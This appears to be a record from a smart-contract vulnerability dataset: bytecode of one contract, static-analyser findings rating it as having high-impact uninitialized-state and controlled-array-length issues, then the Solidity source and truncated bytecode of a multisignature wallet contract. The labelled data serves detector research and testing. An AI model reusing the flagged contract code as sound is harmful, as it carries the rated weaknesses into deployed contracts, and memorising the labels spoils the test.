ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561171557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561175157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561187357600080fd5b600460149054906101000a900460ff1615151561188f57600080fd5b6118998383611218565b6118a4838383611fad565b50505050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600760009054906101000a900460ff1615156119be57600191506119e9565b8290505b6005548110156119e4576119d7858583612002565b80806001019150506119c2565b600191505b509392505050565b6000600760009054906101000a900460ff161515611a125760019050611a21565b81611a1c846114b5565b101590505b92915050565b6000611a368383600654611fad565b905092915050565b6000611a4d838360065461199c565b905092915050565b6000600460149054906101000a900460ff161515611a7257600080fd5b600460159054906101000a900460ff161515611a8d57600080fd5b611a988484846120ce565b90509392505050565b60008183019050828110151515611ab457fe5b80905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611bce576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c62565b611be18382611d4e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000828211151515611d5c57fe5b818303905092915050565b6000600460149054906101000a900460ff161515611d8457600080fd5b600460159054906101000a900460ff161515611d9f57600080fd5b611da98383612488565b905092915050565b6000611e4282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600080600760009054906101000a900460ff161515611fcf5760019150611ffa565b8290505b600554811015611ff557611fe88585836126a7565b8080600101915050611fd3565b600191505b509392505050565b6005548110151561201257600080fd5b612075826008600084815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa190919063ffffffff16565b6008600083815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561210b57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561215857600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156121e357600080fd5b612234826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4e90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156124c557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561251257600080fd5b612563826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4e90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600554811015156126b757600080fd5b816008600083815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156127cc57612773826008600084815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4e90919063ffffffff16565b6008600083815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612823565b60006008600083815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505600a165627a7a72305820d5a39833327e31e160f473542c598757493656047d3834a8531a25ee6431108c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,876
0x04b01b16a26d6ab977b6df6EbC63bB842906AE11
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c0b3b4a5a6a1aeeea7a5afb2a7a580a3afaeb3a5aeb3b9b3eeaea5b4">[email&#160;protected]</a>> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity&#39;s code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3a565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5a565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d89565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1b565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611020565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b5061041660048036038101908080359060200190929190505050611105565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111d0565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112c5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611353565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114c4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be611701565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff60048036038101908080359060200190929190505050611707565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117c1565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061199e565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119bd565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119c2565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c8565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cdd565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b91906120fe565b506003805490506004541115610b4a57610b49600380549050611707565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610c8657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1457838015610dc8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610dfb5750828015610dfa575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e07576001820191505b8080600101915050610d91565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5557600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610eaf57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610ed657600080fd5b60016003805490500160045460328211158015610ef35750818111155b8015610f00575060008114155b8015610f0d575060008214155b1515610f1857600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110fd5760016000858152602001908152602001600020600060038381548110151561105e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110dd576001820191505b6004548214156110f057600192506110fe565b808060010191505061102d565b5b5050919050565b600080600090505b6003805490508110156111ca5760016000848152602001908152602001600020600060038381548110151561113e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111bd576001820191505b808060010191505061110d565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112a85780601f1061127d576101008083540402835291602001916112a8565b820191906000526020600020905b81548152906001019060200180831161128b57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561134957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112ff575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561138a5781602001602082028038833980820191505090505b50925060009150600090505b600554811015611436578580156113cd575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061140057508480156113ff575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156114295780838381518110151561141457fe5b90602001906020020181815250506001820191505b8080600101915050611396565b8787036040519080825280602002602001820160405280156114675781602001602082028038833980820191505090505b5093508790505b868110156114b957828181518110151561148457fe5b906020019060200201518489830381518110151561149e57fe5b9060200190602002018181525050808060010191505061146e565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114fe5781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561164b5760016000868152602001908152602001600020600060038381548110151561153b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163e576003818154811015156115c257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fb57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b808060010191505061150a565b8160405190808252806020026020018201604052801561167a5781602001602082028038833980820191505090505b509350600090505b818110156116f957828181518110151561169857fe5b9060200190602002015184828151811015156116b057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611682565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174157600080fd5b60038054905081603282111580156117595750818111155b8015611766575060008114155b8015611773575060008214155b151561177e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561187657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118e257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361199785611cdd565b5050505050565b60006119ab848484611f85565b90506119b6816117c1565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0457600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a5d57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611ab757600080fd5b600092505b600380549050831015611ba0578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611aef57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b935783600384815481101515611b4657fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ba0565b8280600101935050611abc565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d3857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da357600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611dd357600080fd5b611ddc86611020565b15611f7d57600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611efa8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168660